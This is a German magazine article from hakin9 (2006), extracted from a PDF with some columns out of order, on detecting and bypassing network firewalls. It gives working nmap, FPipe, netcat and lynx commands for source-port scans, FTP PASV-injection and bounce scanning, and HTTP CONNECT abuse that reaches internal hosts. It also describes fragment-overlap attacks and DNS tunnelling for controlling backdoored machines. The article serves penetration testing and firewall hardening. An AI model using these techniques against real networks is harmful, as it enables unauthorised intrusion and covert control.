Wir benutzen die Tatsache das der IP-Stack eines Betriebssystems einzigartige Merkmale, vergleichbar mit einem Fingerabdruck, hat die es ermöglichen den Typ und die Version des Betriebssystems zu bestimmen. Da die meisten Firewallprodukte einen Einfluß auf das Verhalten des IP-Stacks haben, ist es auch oft möglich den Typ und die Version der verwendeten Firewall herauszufinden. Das Tool unserer Wahl zur Durchführung des Fingerprinting ist nmap mit seiner eingebauten OS-Erkennung (siehe Listing 6). Im nachfolgenden Beispiel haben wir lediglich drei Ports gescannt, und damit bereits herausgefunden, das es sich wahrscheinlich um eine Checkpoint Firewall-1 NG unter Sun Solaris handelt. Schauen wir uns eine weitere Firewall an (siehe Listing 7). Dieses
58
hakin9 Nr. 1/2006
mal handelt es sich um eine Symantec Enterprise Firewall. Wie wir sehen können, war nmap nicht in der Lage Betriebssystem oder Firewallprodukt zu bestimmen. Aber die Tatsache, daß viele Ports offen sind, weist darauf hin, daß es sich um eine Proxy basierte Firewall handelt, wovon es jedoch nicht sehr viele Hersteller gibt. Es lohnt sich also, zusätzlich zum Fingerprinting mit nmap, einen Blick auf die standard Ports von bekannten Firewallprodukten zu werfen. So hat beispielsweise die Symantec Enterprise Firewall (SEF) unter anderem die zwei typischen Ports 2456/TCP für die webbasierte Administration and 888/TCP für die Out-of-Band Authentisierung. Der Vergleich unseres Scanergebnisses mit Tabelle 1 bringt uns also auch wieder einen Schritt weiter Richtung Bestimmung des Firewallproduktes. Auch andere Firewallprodukte, wie beispielsweise die Checkpoint Firewall 1, verfügen über produkttypische Ports, wie die administrativen Ports in den Bereichen 256-264/TCP und 1818018265/TCP.
www.hakin9.org
Um die Bestimmung des verwendeten Firewallproduktes weiterzubringen, empfiehlt es sich die Bannermeldungen bestimmter Firewalldienste anzuschauen. So kann zum Beispiel anhand der Ausgabe des HTTPDaemons Server: Simple, Secure Web Server 1.1 (siehe Listing 8) relativ einfach bestimmt werden, dass es sich um eine Symantec Enterprise Firewall handelt. Allerdings ist die Bannermeldung alleine nicht sehr zuverlässig, da sie bei den meisten Daemons relativ einfach geändert werden kann. Aber in Verbindung mit dem Fingerprinting und den offenen Standardports stellt sie einen guten Indikator zur Betimmung des Firewallproduktes dar.
Umgehung von Firewalls
Nachdem ein Angreifer Existenz und Typ einer Firewall bestimmen konnte, bestehen mehrere Möglichkeiten diese zu umgehen. Nachfolgend wollen wir uns einige Methoden anschauen die zu einer Umgehung der Firewall führen können.
Quell-Port Angriffe
Beginnen wir mit einfachen Paketfiltern. Diese treffen ihre Entscheidungen indem sie die IP- und TCP/UDP-Header analysieren. Um einen Paketfilter so zu konfigurieren, das Benutzer eines Netzwerkes (intern) im Internet (extern) surfen können, benötigen wir eine Regel für die ausgehenden Pakete (HTTPAnfragen des Browsers) sowie eine
Umgehung von Netzwerkfirewalls
Regel für die eingehenden Antwortpakete der Webserver. Um diese Regel erstellen zu können, müssen wir noch berücksichtigen, daß Webserver standardmässig auf dem Port 80/TCP eingerichtet sind, und der Quellport des Webbrowsers bei dessen Aufruf automatisch gewählt wird, und im Vorfeld nicht bekannt ist. Jedoch wird der Quellport per Definition größer 1024 sein. Tabelle 2 zeigt eine minimale Access-Liste für den Webverkehr. Auf den ersten Blick sieht diese Regelwerk nicht sonderlich gefährlich aus. Regel 1 erlaubt ausgehende HTTP-Anfragen eines Webbrowsers und Regel 2 erlaubt die zugehörigen Antwortpakete des Webservers. Die dritte Regel blockiert alle Pakete die nicht zum erlaubten HTTP-Verkehr gehören, und wird daher Cleanup-Regel genannt. Eine solche Cleanup-Rule sollte in jedem Firewallregelwerk enthalten sein, ist aber für unser Beispiel nicht weiter relevant. Schaut man sich Regel 2 einmal etwas genauer an, so sieht man, daß ein Paket das aus dem Internet (Extern) stammt, und in das interne Netz (Intern) gesendet wird, dann der Regel entspricht, wenn es den Quellport 80 und einen Zielport größer 1024 hat. Einen Angriff, der diesen Sachverhalt ausnutzt wird High-Port oder Source-Port Angriff genannt, da er auf der Tatsache basiert, dass ein Angreifer nur den Quellport seiner Hackertools auf einen WellknownPort, wie in unserem Beispiel der Port 80/TCP, einstellen muss, und damit Server hinter der Firewall angreifen kann, sofern diese auf einem High-Port lauschen. Einige interessante Dienste, die einen High-Port verwenden, sind Xwindow
Listing 9. Normaler Scan versus Sourceport-Scan # nmap -sS -p 1-65535 192.168.0.1 Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) § at 2005-10-09 17:01 CEST Interesting ports on 192.168.0.1: (The 1658 ports scanned but not shown below are in state: closed) PORT STATE SERVICE 80/tcp open http Nmap run completed -- 1 IP address (1 host up) scanned in 6.607 seconds # nmap -sS -g 80 -p 1024-65535 192.168.0.1 Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) § at 2005-10-09 17:01 CEST Interesting ports on 192.168.0.1: (The 1657 ports scanned but not shown below are in state: closed) PORT STATE SERVICE 80/tcp open http 6000/tcp open X11 Nmap run completed -- 1 IP address (1 host up) scanned in 6.607 seconds
(6000-6063/TCP), Windows Terminal Server (3389/TCP) sowie viele Webapplikationen wie Jakarta Tomcat (8080/TCP) und Bea Weblogic (7001/TCP). Um zu testen, ob eine Firewall verwundbar für diese Angriffe ist, kann nmap mit der -g Option verwendet werden, die dafür sorgt das man den Quellport festlegen kann. Listing 9 zeigt den Unterschied zwischen einem normalen und einem Sourceport Scan. Wie man sehen kann, konnte ein weiterer offener Port (6000/TCP) mittels des Sourceport Scans gefunden werden. Damit ein Angreifer sich über die Firewall hinweg mit dem Dienst verbinden kann, muss er nur noch seine Tools so konfigurieren, dass sie den Quellport 80/TCP verwenden. Eine einfache Methode eine TCPVerbindung mit einem festen Quellport aufzubauen, ist die Verwendung eines Tools wie FPipe von Foundstone. FPipe ist zwar ein Windows tool, kann unter Linux jedoch auch mittels
Wine verwendet werden. Der Aufruf mit den folgenden Optionen: > FPipe -l 100 -s 80 -r 6000 192.168.0.1
§
öffenet einen Listener auf dem lokalen Port 100/TCP. Alle Pakete die an diesen lokalen Port gesendet werden, werden automatisch an den Zielport 6000/TCP der IP-Adresse 192.168.0.1 weitergeleitet, und mit dem Quellport 80/TCP versehen. Bei der Prüfung, ob eine Firewall auf Sourceport-Angriffe anfällig ist, sollte man zusätzlich mit den Quellports 53 (DNS), 20 (FTP) und 88 (Kerberos) testen, da einige Firewalls aufgrund der besonderen Eigenheiten dieser Protokolle, auch solche Pakete durchlassen. Als Beispiel sei hier die Checkpoint FW1 genannt, die bis einschließlich der Version 4.1 über sogenannte Implied Rules verfügte, die DNS-Pakete aus jedem Netz durchließen. Auch Microsofts Implementierung des IPSec Filters, der als lokale
Tabelle 2. Vereinfacht dargestellte Access-Liste für HTTP-Verkehr Nr.
Quell-IP
Ziel-IP
Quell-Port
Ziel-Port
Aktion
Beschreibung
1.
Intern
Extern
>1024/TCP
80/TCP
Allow
Erlaube ausgehende HTTP Anfragen
2.
Extern
Intern
80/TCP
>1024/TCP
Allow
Erlaube HTTP-Antworten
3.
Alle
Alle
Alle
Alle
Deny
Cleanup rule
www.hakin9.org
hakin9 Nr. 1/2006
59
Techniken
Tabelle 3. Vereinfacht dargestelltes Regelwerk einer statefull Firewall Nr.
Quell-IP
Ziel-IP
Quell-Port
Ziel-Port
ACK-Flag erforderlich
Aktion
Beschreibung
1.
Intern
Extern
>1024/TCP
80/TCP
Nein
Allow
Erlaube ausgehende HTTP Anfragen
2.
Extern
Intern
80/TCP
>1024/TCP
Ja
Allow
Erlaube HTTPAntworten
3.
Alle
Alle
Alle
Alle
–
Deny
Cleanup rule
eine neue Verbindung initiiert, unterscheiden zu können. Dazu kann eine Firewall die unterschiedlichen Flags innerhalb des TCP-Headers auswerten. Da jede neu zu initiierende TCP-Verbindung mit einem gesetzten SYN-Flag beginnt, und alle darauffolgenden Pakete in der Verbindung mindestens das ACK-Flag gesetzt haben, gibt es ein eindeutiges Attribut für eine Firewall um die Unterscheidung machen zu können. Zusätzlich hilft die interne Statetable der Firewall, sich den Zustand der Verbindungen zu merken. Dies ist besonders bei UDP-Kommunikation, in der es keine Status-Flags gibt, hilfreich. Wie wir Tabelle 3 entnehmen können, wird das Antwortpaket eines HTTP-Servers nur dann durchgelassen, wenn im TCP-Header das ACK-Flag gesetzt ist. In diesem Fall funktioniert die Sourceport-Attacke nicht mehr, da TCP-Verbindungsaufbauten immer mit einem SYN-Paket beginnen. Der Angreifer muss sich somit nach einer anderen Möglichkeit umsehen die Firewall zu umgehen.
Abbildung 2. Wie Aktiv-FTP funktioniert
Ausnutzen von Aktiv-FTP
Abbildung 3. Wie Passiv-FTP funktioniert Firewall konfiguriert werden kann, hat eine ähnliche Schwachstelle. Eine hartcodierte, unsichtbare Regel lässt jedes Paket passieren, sofern es den Quellport 88 (Kerberos) hatt. Um dies zu unterbinden, müssen Änderungen an der Registry vorgenommen werden.
60
hakin9 Nr. 1/2006
Statefull Firewalls
Um einen Angreifer davon abzuhalten Verbindungen zu internen Systemen aufbauen zu können indem er einfach die Antwort eines Servers simuliert, ist es für eine Firewall wichtig zwischen einem Antwortpaket und einem Paket, das
www.hakin9.org
Eines der meist verwendeten Protokolle im Internet ist das File Transfer Protocol (FTP). Es existieren zwei verschiedene Arbeitsweisen von FTP, der Aktiv- und der Passivmodus (siehe Kasten FTP Aktiv- und Passivmodus). Der Hauptunterschied zwischen den beiden Modi ist die Art und Weise, wie die Kommunikation aufgebaut wird. Während im Aktivmodus der FTP-Client den Kommando-Kanal aufbaut, und der Server für den Datenkanal eine Verbindung zum Client herstellt, werden im Pas-
Umgehung von Netzwerkfirewalls
verwenden wir netcat zur Erstellung der Verbindung (siehe Listing 10). Die ersten sechs Zeilen sind die Standardkommunikation zwischen Client und Server und dienen der Anmeldung am FTP-Server. In zeile sieben wird dem FTP-Server mitgeteilt, dass für die Erstellung des Datenkanals der Passivmodus verwendet werden soll. Als Antwort auf diese Anforderung teilt uns der Server in Zeile acht die IP-Adresse und den Port mit, die er für die Erstellung des Datenkanals öffnet, damit sich der Client dorthin verbinden kann. Sofern eine Firewall vor dem FTP-Server steht, weiß diese erstmal nicht welcher Port für den Datenkanal vereinbart wurde. Daher hat die Firewall grundsätzlich zwei Möglichkeiten um die FTP-Kommunikation zu ermöglichen:
FTP Aktiv- und Passivmodus
Das File Transfer Protocol verwendet zwei Kanäle für die Kommunikation zwischen Client und Server. Der Kommandokanal wird verwendet um Befehle an den Server zu senden, und die Antworten des Servers zu empfangen. Sobald Daten übertragen werden, wird ein dedizierter Datenkanal aufgebaut. Dies ist beispielsweise der Fall, wenn eine Datei hoch- oder heruntergeladen wird, aber auch dann wenn ein Liste der Dateien und Verzeichnisse mit einem Befehl wie dir angefordert wird. Für den Aufbau des Datenkanals unterstützt FTP zwei unterschiedliche Modi, den Aktiv-und den Passiv-Modus. Der Unterschied zwischen den beiden Modi liegt darin, ob der Client oder der Server den Aufbau des Datenkanals initiiert. Im Falle von Aktiv-FTP baut der FTP-Server die Verbindung zum FTP-Client auf. Hierzu teilt der FTP-Client dem Server mittels des PORT Kommandos mit, an welcher IP-Adresse und auf welchem Port er einen Listener errichtet und Verbindungsanfragen des Servers entgegennimmt. Im Falle von Passiv-FTP baut der Client die Verbindung auf. Hierzu teilt der FTP-Server dem Client mit, an welcher IP-Adresse und an welchem Port der Server die Verbindung entgegen nimmt. Um in den Passiv-Modus zu gelangen muss der Client dem Server das PASV Kommando senden. Als Antwort darauf sendet der Server die Socketinformation im Format IP,IP,IP,IP,Hbyte,Lbyte wobei Hbyte und Lbyte den Port darstellen, und die einzelnen Bytes der IP-Adresse durch Kommas anstelle von Punkten getrennt sind. Siehe auch Abbildungen 2 und 3.
sivmodus beide Verbindungen vom Client aufgebaut. Der Angriff gegen Aktiv-FTP ist eine weitere Art eines Source-PortAngriffs. Jedoch kann dieser Angriff nicht durch die Filterung anhand der TCP-Flags verhindert werden, da die Verwendung von Aktiv-FTP eingehende Verbindungsanfragen mit gesetztem SYN-Flag für den Aufbau des Datenkanals benötigt (siehe Tabelle 4 für ein Beispielregelwerk). Um eine Verbindung zu internen Diensten die auf Highports laufen, aufbauen zu können, muss der Angreifer lediglich den Quellport seiner Tools auf 20/TCP festlegen. Um zu prüfen ob die Firewall verwundbar für diese Art von Angriffen ist, können wir erneut nmap
verwenden, jedoch diesmal mit der Option -g 20 anstelle von -g 80. Um eine richtige TCP-Verbindung aufbauen zu können, kann FPipe wie im vorherigen Beispiel verwendet werden.
•
Ausnutzen von Passiv-FTP
Die meisten aktuellen FTP-Server unterstützen heutzutage den Passivmodus, aber leider gibt es noch einige FTP-Clients (darunter der standard Microsoft FTP-Client) die nur den Aktivmodus unterstützen. Unabhängig davon gibt es jedoch auch Angriffe gegen Passiv-FTP, die die Umgehung einer Firewall ermöglichen. Schauen wir uns einmal die Kommunikation im Passivemodus an. Um die Lesbarkeit zu erhöhen
•
die erste Option besteht darin alle Highports für eingehende Verbindungsanfragen an den FTP-Server durchzulassen. Dies ist sehr unsicher, insbesondere wenn auf dem FTPServer noch weitere Dienste auf Highports laufen, oder sich eine Vielzahl von FTP-Servern im internen Netzwerk befinden. Wir gehen daher davon aus, daß die Firewall in unserem Beispiel von dieser Konfiguration keinen Gebrauch macht; die zweite Option besteht darin, daß die Fiewall die Kommunikation zwischen Client und Server im Kommando-Kanal analysiert. Sieht die Firewall ein Kommando im Format 227 Entering Passive
Tabelle 4. Regelwerk für Aktiv FTP Nr.
Quell-IP
Ziel-IP
Quell-Port
Ziel-Port
ACK-Flag erforderlich
Aktion
Beschreibung
1.
Intern
Extern
>1024/TCP
21/TCP
Nein
Allow
Command channel
2.
Extern
Intern
21/TCP
>1024/TCP
Ja
Allow
Command channel
3.
Extern
Intern
20/TCP
>1024/TCP
Nein
Allow
Data channel
4.
Intern
Extern
>1024/TCP
20/TCP
Ja
Allow
Data channel
5.
Any
Any
Any
Any
–
Deny
Cleanup rule
www.hakin9.org
hakin9 Nr. 1/2006
61
Techniken
Listing 10. Passiv-FTP Kommunication # < > < > < >
< > < >
nc ftp.hakin9.org 21 220-Welcome to hakin9.org. user anonymous 331 Please specify the password. pass secret 230 Login successful. AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA227 § Entering Passive Mode (192,168,200,23,0,2) < 500 command not understood: § 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA227 Entering Passive Mode (192,168,200,23,0,22)'
Mode
(IP,IP,IP,IP,Hbyte,Lbyte),
das vom Server zum Client gesendet wird, so erstellt sie eine temporäre Regel, die eine eingehende Verbindung auf die vereinbarte IP/Port-Kombination zulässt. Agiert die Firewall nach der zweiten Methode, so besteht die Möglichkeit das ein Angreifer sie dazu bringen kann einen beliebigen Port und gegebenenfalls auch eine beliebige IPAdresse freizuschalten. Hierzu muss er den FTP-Server dazu bringen ein
§
Paket an den Client innerhalb des Kommand-Kanals zu schicken, das dem genannten Format entspricht, und den Port und die IP-Adresse, auf die er sich verbinden möchte, enthält. Dies kann der Angreifer zum Beispiel erreichen, indem er eine Fehlermeldung erzwingt, die genau diese Daten enthält. Sendet man ein nicht existierendes Kommando wie AAAAAAAAAAA227 Entering Passive Mode 1,2,3,4,0,22 an einen FTP-Server, so sendet dieser in vielen Fällen eine Fehlermeldung zurück, die das fehlerhafte Kom-
Abbildung 4. Funktionsweise von FTP Bounce Scanning
62
hakin9 Nr. 1/2006
www.hakin9.org
mando anzeigt: cannot understand command AAAAAAAAAAA227 Entering Passive Mode 1,2,3,4,0,22. Berechnet man die Größe der Fehlermeldung derart, dass die Nachricht zu groß ist für ein IP-Paket, und dadurch das nicht existierende Kommando und die Passive Mode Zeichenkette in getrennten Paketen enthalten sind, kann man die Firewall dazu bringen die Nachricht fehlzuinterpretieren, und eine Verbindung zu Port 22/TCP der IP 1.2.3.4 zuzulassen. Die Firewall wird die Pakete mit den A Zeichen unbeachtet passieren lassen.Wenn sie jedoch den Text 227 Entering Passive Mode (192,168,200,23,0,22) erhält, wird sie eine temporäre Regel erstellen die es dem FTP-Client erlaubt sich auf Port 22 des Systems 192.168.200.23 zu verbinden. Ein ähnlicher Mechanismus der Erstellung von dynamischen Filterregeln wird übrigens auch für andere Protokolle, wie Oracle's SQLnet verwendet.
FTP Bounce Scanning
FTP Bounce Scanning (siehe Abbildung 4) nutzt ein Feature von AktivFTP aus, um Systeme hinter einer Firewall auf offene Ports abscannen zu können. Innerhalb einer AktivFTP Sitzung wird der Datenkanal vom FTP-Server aufgebaut, indem er sich auf einen offenen Port des FTP-Clients verbindet. Hierzu muss der Client dem Server innerhalb des Kommando-Kanals mitteilen, wohin er sich verbinden darf, da der Port auf dem Client zufällig ausgewählt wird. Diese Information wird dem Server mittels des PORT Kommandos mitgeteilt. Ähnlich dem PASV Kommando ist der Syntax PORT IP,IP,IP,IP,Hbyte,Lbyte wie zum Beispiel PORT 192,168,100,10,0,123. Mit dieser Information ist der Server nun in der Lage eine Verbindung zu 192.168.100.10:123 aufzubauen, wenn Daten übertragen werden müssen. Per Definition besteht keine Einschränkung, daß es sich bei der übermittelten IP-Adresse um
Umgehung von Netzwerkfirewalls
Fragmentierung
Jedes Betriebssystem versucht die maximale Größe eines IP-Paketes an die maximale Größe eines Frames der darunterliegenden Layer2-Technologie anzupassen. So beträgt für Ethernet beispielsweise die maximale Größe 1518 Bytes. Da ein Ethernet-Frame selbst 18 Byte für seine Headerinforamation benötigt, bleibt für das zu transportierende IP-Paket ein Platz von 1500 Byte. Die sich hierdurch ergebende Größe wird Maximum Transfer Unit (MTU) genannt. Auf seinem Weg über ein Netzwerk kann ein IP-Paket Router passieren, deren MTU aufgrund der verwendeten Layer-2-Technologie kleiner 1500 Byte ist. In einem solchen Fall sind die zu großen Pakete in mehrere kleinere Pakete zu zerteilen. Dieser Vorgang wird Fragmentierung genannt. Am anderen Ende der Kommunikation sammelt der Zielserver die IP-Fragmente und fügt sie in der richtigen Reihenfolge wieder zusammen. Dieser Vorgang wird Reassemblierung genannt. Die Reassemblierung benötigt einige zusätzliche Informationen, um die Pakete in der richtigen Reihenfolge zusammenzufügen, und nicht mit Fragmenten aus anderen Verbindungen zu vermischen. Hierzu dienen die zwei Felder Fragment Offset und Identification (ID) innerhalb des IPv4-Headers. Jedes Fragment des gleichen Datagrams hat die gleiche ID. Dies ermöglicht es dem IPStack zu erkennen welche Fragmente zum gleichen Datagram gehören. Um die Pakete dann auch noch in der richtigen Reihenfolge zusammensetzen zu können, wird der Fragment Offset verwendet. Das erste Fragment hat stets einen Offset von null. Der Offset eines jeden folgenden Fragments erhöht sich um den Wert der Länge des Datenteils des Fragments. Das More fragments Bit (MF) im IP-Header zeigt an, ob noch weitere Fragmente folgen, oder ob es sich um das letzte Fragment handelt.
die IP-Adresse des selben Systems handeln muss, das auch den Kommando-Kanal aufgebaut hat (also der FTP-Client). Stattdessen nehmen einige FTP-Server auch andere IP-Adressen an. Nachdem der Client einen Befehl wie dir an den Server geschickt hat, versucht der Server eine Verbindung zu dem vorher vereinbarten IP:port herzustellen, um die Daten zu übertragen. Abhängig davon, ob der Port offen oder geschlossen ist, gibt der Server einen Erfolgs- oder Fehlercode zurück an den Client. Analysiert man diese Meldungen, hat man einen Portscanning Mechanismus. Um dieses Vorgehen zu automatiseren kann nmap verwendet werden, da es FTP Bounce Scanning unterstützt: $ nmap -b \ anonymous@myftpserver:21 \ targetserver
HTTP Proxy Bouncing
Applikationsfirewalls arbeiten in der Regel als HTTP-Proxies, entweder transparent oder nichttransparent, um HTTP-Verkehr filtern zu können.
Ein Problem besteht dann, wenn ein HTTP-Proxy schlecht konfiguriert ist, und dadurch Zugriff von außen auf interne Systeme zulässt. Der einfachste Weg festzustellen, ob eine Firewall verwundbar für Proxy-Bouncing ist, besteht darin, daß externe Interface der Firewall als Proxy für den eigenen Webbrowser einzutragen, und zu versuchen auf internen Systemen zu surfen: Einstellungen für Lynx: # http_proxy='http://myfirewall.de:8080' # no_proxy='localhost' # export http_proxy no_proxy
Surfen auf interne Webseiten:
diese auch erreichen kann, wenn sie privat (als nicht über das Internet routbar) sind, ist es für einen Angreifer möglich auf den internen Webservern zu surfen. Wenn man schon mal dabei ist, sollte mal im gleichen Test auch versuchen andere Ports auf den internen Systemen zu erreichen: # lynx 192.168.100.20:25
Man sollte jedoch darauf achten, daß einige Browser wie Mozilla Firefox und Lynx in der Standardeinstellung solche Requests blocken. Es ist daher empfohlen, solche Tests mit Netcat oder Telnet durchzuführen.
HTTP-Connect
Die HTTP-Option CONNECT dient normalerweise dazu SSL-Kommunikation durch einen Proxy tunneln zu können. Hierzu erstellt der Proxy lediglich eine TCP-Verbindung zu dem Zielserver und leitet die Pakete des Clients weiter. Leider prüfen einige Firewalls nicht, ob die IP-Adresse oder der Port der mit dem CONNECT Befehl übergeben wird legitim ist, und öffnen dadurch große Löcher für einen Angreifer. Wie bekannt ist, sollten Firewalls so installiert werden, dass die administrativen Ports nur an den internen Interfaces erreichbar sind. Dies verhindert, dass ein Angreifer Attacken wie Buffer Overflows gegen den Administrationsdienst fahren, oder Anmeldedaten erraten kann. Die CONNECT Schwachstelle erlaubt einem Angreifer jedoch eine Verbindung zu den administrativen Ports über ein externes Interface der Firewall aufzubauen:
# lynx 192.168.100.20
Ein schöner Nebeneffekt dieser Technik ist, daß man sogar private IP-Adressen hinter der Firewall über das Internet erreichen kann, da der Angreifer sich direkt mit der Firewall verbindet, und der darauf befindliche HTTP-Daemon die Verbindung zu den internen Systemen aufbaut. Da die Firewall die IP-Adressen der internen Systeme kennt, und
www.hakin9.org
# nc firewall 8080 CONNECT 127.0.0.1:22 HTTP/1.0 SSH-1.99-OpenSSH_3.8p1
Mittels der CONNECT Methode kann ein Angreifer auch Verbindungen zu anderen Systemen als der Firewall selbst aufbauen. Analog zur Proxy Bouncing Attacke können hiermit auch interne Systeme mit privaten IP-Adressen erreicht werden:
hakin9 Nr. 1/2006
63
Techniken
Abbildung 5. Normale Reassemblierung eines TCP-Packets
und die Firewall wurde erfolgreich umgangen. Es existieren unterschiedliche Implementierungen von Fragmentierungsangriffen gegen Firewalls. Ein Link zu einer interessanten Variante gegen BSD's IPFilter ist im Kasten Im Internet zu finden.
Tunneling Angriffe
Abbildung 6. Overlapping Fragment Attack – Überlappender Header # nc firewall 8080 CONNECT 10.1.1.100:25 HTTP/1.0 220 mailserver ESMTP
Wie wir sehen ist es sehr einfach, eine Firewall auf CONNECT Verwundbarkeiten zu testen. Die gleiche Technik kann man auch, ähnlich des FTP-Bounce-Scanning, dazu verwenden über eine Firewall hinweg interne Systeme abzuscannen. Interessanterweise waren auch bekannte Firewallprodukte wie Checkpoint FW1 und Astaro Secure Linux in der Vergangenheit bereits anfällig für solche Angriffe.
Overlapping Fragment Angriff
Das Ziel eines Overlapping Fragment Angriffes ist es Informationen im UDP oder TCP Header zu überschreiben, nachdem die Firewall bereits eine positive Entscheidung anhand des ersten Fragments getroffen hat. Wenn eine Fragmentierung von IP-Paketen stattfindet, so enthält lediglich das erste Fragment den TCP/UDP-Header mit den zugehörigen Informationen wie dem Zielport der Verbindung. Besteht beispielsweise eine Firewallregel, die Verbindungen auf Port 80/TCP eines Webservers zulässt und gleichzeitig Verbindungen auf den Secure Shell Daemon des gleichen Servers auf Port 22/TCP unterbindet, lohnt es sich eine Overlapping Fragment Attacke durchzuführen.
64
hakin9 Nr. 1/2006
Um die genannte Filterregel umgehen, und eine Verbindung auf Port 22 aufbauen zu können, kann ein Angreifer die IP-Datagramme fragmentieren (siehe Kasten Fragmentierung) und den Zielport innerhalb des TCP-Headers auf 80 setzen. Das Fragment erreicht die Firewall und wird aufgrund der Regel erlaubt. Da alle Fragmente die zum selben Datagram gehören eine identische IP-ID besitzen, wird die Firewall alle Fragmente durchlassen, die die gleiche IP-ID sowie Quell- und Ziel-IP wie das erste Fragment haben. Nehmen wir an, dass der Offset des ersten Fragments null ist, und das Ende des Fragments bei Byte 128 liegt. Der Offset des zweiten Fragments sollte nun einen Wert aufweisen der direkt nach dem Byte 128 anknüpft. Ist der Offset jedoch kleiner als 128, so werden Bereiche des ersten Fragmentes überschrieben. Einen solchen Offset nennt man negativen Offset. Berechnet der Angreifer den Offset so, daß er den Zielport im TCP-Header des ersten Fragments überschreibt, ist es möglich den Wert 80 mit 22 zu überschreiben (siehe Abbildungen 5 und 6). Nach der vollständigen Reassemblierung, entweder auf der Firewall selbst oder am Zielsystem, wird eine Verbindung zu Port 22/ TCP anstelle von 80/TCP hergestellt
www.hakin9.org
Gelegentlich möchten Hacker durch eine Firewall hindurch mit internen Systemen kommunizieren, um zum Beispiel mit Rechnern die mit Trojanischen Pferden oder Backdoors infiziert sind, in Verbindung bleiben zu können. In einem solchen Fall sendet ein Hacker mittels eines beliebigen Protokolls Befehle an einen infizierten Rechner, und bekommt die Ergebnisse als Antwort zurück gesendet. Wenn Filterregeln auf der Firewall jedoch nur die üblichen Protokolle wie HTTP, FTP und DNS für ausgehenden Verkehr zulassen, muss der Angreifer auch eines dieser Protokolle für seine Kommunikation verwenden. Unglücklicherweise (für den Hacker) prüfen einige moderne Firewalls den applikationsspezifischen Verkehr auf Einhaltung der RFC-Vorgaben, und blocken Datenpakete die nicht diesen Vorgaben entsprechen. Angreifer, die das wissen, verwenden einen Tunnelingmechanismus, der bei der Kommunikation nicht gegen RFC-Vorgaben verstösst, indem die zu transportierenden Daten in gültige, protokollkonforme Befehle eingebettet werden. Wenn diese eingebetteten Daten zusätzlich kodiert oder verschlüsselt und ausschliesslich unter Verwendung von 7-bit ASCII-Zeichen versendet werden, ist eine Erkennung des Tunneling durch die Firewall beinahe unmöglich. Gute Implementierungen hierfür sind HTTP- und DNS-basierte Tunnel. Während Tools für ein RFCkonformes HTTP-Tunneling wie rwwwshell (siehe Kasten Im Internet) relativ einfach umzusetzen, und daher auch schon seit etlichen Jahren verfügbar sind, sind gute DNS basierte Tunnel etwas aufwendiger.
Umgehung von Netzwerkfirewalls
Über den Autor
Oliver Karow arbeitet als Principal Security Consultant für einen Hard- und Softwarehersteller. Seine derzeitigen Schwerpunkte liegen auf der Implementierung von Firewall-, IDS/IPSSystemen sowie der Durchführung von Sicherheitsaudits und Penetrationstests. Oliver Karow studiert nebenberuflich Informatik an einer deutschen Fernuniversität. Er arbeitet in der IT seit 1994, and seit 1999 mit Fokus auf IT-Sicherheit.
Ein interessanter DNS-Tunnel, der neben anderen eine Technik namens Namedropping verwendet, basiert auf dem Name Server Transport Protocol (NSTX) und setzt einen NSTX-konformen DNS-Server und -Client voraus. Der Server muss zusätzlich noch authoritativ zuständig für eine DNS-Domain sein (siehe Kasten Im Internet). Stellen wir uns vor, ein Hacker ist beispielsweise authoritativ für die Domain baddomain.com und kontrolliert ein System im durch eine Firewall geschützten Firmennetzwerk. Der Hacker möchte das System aus dem Internet fernsteuern und die Ausführungsergebnisse zugesendet bekommen. Um die Daten vom kompromittierten System zum Hacker zu transportieren, stellt der DNS-Client einen DNS-Request nach einem speziell zusammengestellten Hostnamen wie zum Beispiel b2xpdmV yIGthcm93.baddomain.com, wobei es sich bei b2xpdmVyIGthcm93 um die kodierte Nachricht handelt. Da der interne Nameserver für die Do-
Tabelle 5. Beispiele von Verwundbarkeiten in Firewallprodukten Produkt
Verwundbarkeit
Checkpoint Secure Platform
Firewall Rules Bypass Verwundbarkeit
Checkpoint VPN-1
ASN.1 Buffer Overflow
Checkpoint VPN-1
ISAKMP Buffer Overflow
Cisco IOS Firewall
Authentication Proxy Buffer Overflow
Cisco Catalyst 6500/6700
FW Services Module ACL Bypass Verwundbarkeit
mäne baddomain.com nicht zuständig ist, leitet er die Anfrage an den zuständigen DNS-Server weiter. Da sich dieser unter der Kontrolle des Hackers befindet braucht er nur den angefragten Hostnamen zu dekodieren, und erhält so die gewünschten Daten von seinem kompromittierten System. Damit besteht schonmal die Möglichkeit der Kommunikation in eine Richtung. Da aber der Hacker dem internen System neue Befehle zukommen lassen möchte, benötigt er einen weiteren Mechanismus. Hierzu schreibt der Hacker seine Befehle in einen TXT-ResourceRecord. Hierbei handelt es sich um einen Freitext DNS-Record der im Normalfall unterschiedliche Einsatzgebiete wie zum Beispiel die Bereitstellung von PGP-Publiy-Keys hat. Sofern der Hacker auch hier wieder eine 7-Bit Kodierung verwendet, ist es für eine Firewall in der Regel nicht möglich zwischen einem gültigen TXT-Record und einer kodierten Nachricht zu unterscheiden. Für weiterführende Informationen über Tunnelingangriffe wird empfohlen den Artikel Firewall Piercing zu lesen (siehe Kasten Im Internet).
Im Internet • •
• •
http://cert.uni-stuttgart.de/archive/bugtraq/2001/04/msg00121.html – Thomas Lopatic, A fragmentation attack against IP Filter, http://www.ccc.de/congress/2004/fahrplan/files/221-firewallpiercing _21c3.pdf – Maik Hensche & Frank Becker – Firewall Piercing – Creative exploitation of valid Internet protocols, http://www.thc.org/download.php?t=r&f=rwwwshell-2.0.pl.gz – eine HTTP-basierte Tunnelimplementation, rwwwshell, http://www.csnc.ch/static/services/research/dnstunnel.html – eine DNS-basierte Tunnelimplementation.
www.hakin9.org
